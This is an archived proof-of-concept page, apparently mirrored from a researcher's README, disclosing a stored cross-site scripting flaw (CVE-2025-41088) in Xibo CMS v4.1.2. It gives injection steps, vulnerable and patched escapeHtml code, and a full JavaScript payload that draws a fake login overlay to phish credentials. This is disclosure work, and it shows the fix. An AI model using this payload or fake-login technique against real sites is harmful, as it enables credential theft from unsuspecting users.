POC详情: a418cf84732d89d3d1fa414517daca24a91ac253

来源
关联漏洞
标题: Xibo CMS 跨站脚本漏洞 (CVE-2025-41088)
描述:Xibo CMS是Xibo Digital Signage开源的一个内容管理系统。 Xibo CMS v4.1.2版本存在跨站脚本漏洞,该漏洞源于缺少对用户输入的适当验证,可能导致存储型跨站脚本攻击。
描述
Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, due to a lack of proper validation of user input.
介绍
# CVE-2025-41088: Stored XSS in Xibo CMS

I have discovered a **Stored Cross-Site Scripting (XSS)** vulnerability in **Xibo CMS v4.1.2**. This vulnerability allows an authenticated attacker to inject malicious scripts into the application due to improper validation of user-supplied input.

The issue resides in the 'Templates' feature. An attacker can craft a template containing a text element with a malicious payload. When this template is viewed by other users, the script executes in their browser, potentially leading to data theft or other malicious actions.

---

## Proof of Concept (PoC)

To exploit the vulnerability, an authenticated user must follow these steps:

1.  Navigate to the **Design > Templates** section and create a new template.
2.  Go to the **Global Elements** section and add a new text element.
3.  In the **Text** field of the editor, insert the malicious XSS payload (e.g., `<script>alert(1337)</script>`).
4.  Save the element. The payload is now stored on the server.
5.  The script will execute every time a user's browser renders the compromised element.

---

## Vulnerable Code

This section contains the specific code snippet from Xibo CMS v4.1.2 that fails to sanitize the input for the 'Text' field.



            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];
    } else if ($extension !== null) {
    
In another line of the same document.

            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];


In another document.

        // Escape HTML
        convertedProperties.escapeHtml = template?.extends?.escapeHtml;
        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);

        
---

## Fixed Code

This section showcases the patched code, which includes proper input sanitization and output encoding mechanisms to neutralize malicious scripts.

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];
            } else if ($extension !== null) {
In another line of the same document.

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];

In another document.

        // Escape HTML
        convertedProperties.escapeHtml =
          (template?.extends?.escapeHtml === undefined) ?
            true : template.extends.escapeHtml;


        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);
     
---

## Exploitation

The stored payload is executed in the context of the victim's browser, which can be leveraged to steal sensitive information like passwords.

**1. Injecting the Payload:** The attacker inserts the malicious script into a text element within a template.
<img width="1919" height="910" alt="Script_Location" src="https://github.com/user-attachments/assets/7c8b3036-8cb1-40b0-964c-60a3fa38f46d" />

The script I used is the following one:

```
<script>
(function() {
    // --- MAIN FUNCTION ---
    function showLoginScreen() {
        // 1. Create the form elements
        const overlay = document.createElement('div');
        const loginContainer = document.createElement('div');
        const title = document.createElement('h2');
        const form = document.createElement('form');
        const userInput = document.createElement('input');
        const passInput = document.createElement('input');
        const submitButton = document.createElement('button');

        // 2. Assign styles and properties to the elements
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the login container
        Object.assign(loginContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Access Required';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '25px'
        });

        // Style for the input fields
        const inputStyles = {
            width: '100%', padding: '12px', marginBottom: '15px',
            border: '1px solid #ccc', borderRadius: '4px', boxSizing: 'border-box'
        };
        Object.assign(userInput.style, inputStyles);
        userInput.placeholder = 'Username';
        userInput.type = 'text';

        Object.assign(passInput.style, inputStyles);
        passInput.placeholder = 'Password';
        passInput.type = 'password';

        // Style for the button
        Object.assign(submitButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        submitButton.textContent = 'Login';
        
        // 3. Assemble the form structure
        form.appendChild(userInput);
        form.appendChild(passInput);
        form.appendChild(submitButton);
        loginContainer.appendChild(title);
        loginContainer.appendChild(form);
        overlay.appendChild(loginContainer);

        // 4. Add the form to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior
        form.addEventListener('submit', function(e) {
            e.preventDefault(); // Prevents the page from reloading

            // Remove the login screen
            document.body.removeChild(overlay);

            // --- EXECUTE YOUR FINAL SCRIPT ---
            alert("hello");
        });
    }

    // --- Initialize the function ---
    showLoginScreen();

})();
</script>

```

**2. Attack Scenario:** A common attack is to create a fake login form to capture credentials. The script hijacks the page and presents this form to the victim.
<img width="1919" height="899" alt="Fake_Login" src="https://github.com/user-attachments/assets/fa4445a5-c53f-4e19-8976-509289110fc4" />


---

## References

-   **INCIBE-CERT (Spanish):** [Múltiples vulnerabilidades en Xibo CMS](https://www.incibe.es/incibe-cert/alerta-temprana/avisos/multiples-vulnerabilidades-en-xibo-cms)
-   **INCIBE-CERT (English):** [Multiple vulnerabilities in Xibo CMS](https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-xibo-cms)

---

## Disclaimer

This information is provided for educational and research purposes only. I am NOT responsible for any misuse or damage caused by this information.
文件快照

[4.0K] /data/pocs/a418cf84732d89d3d1fa414517daca24a91ac253 └── [7.5K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。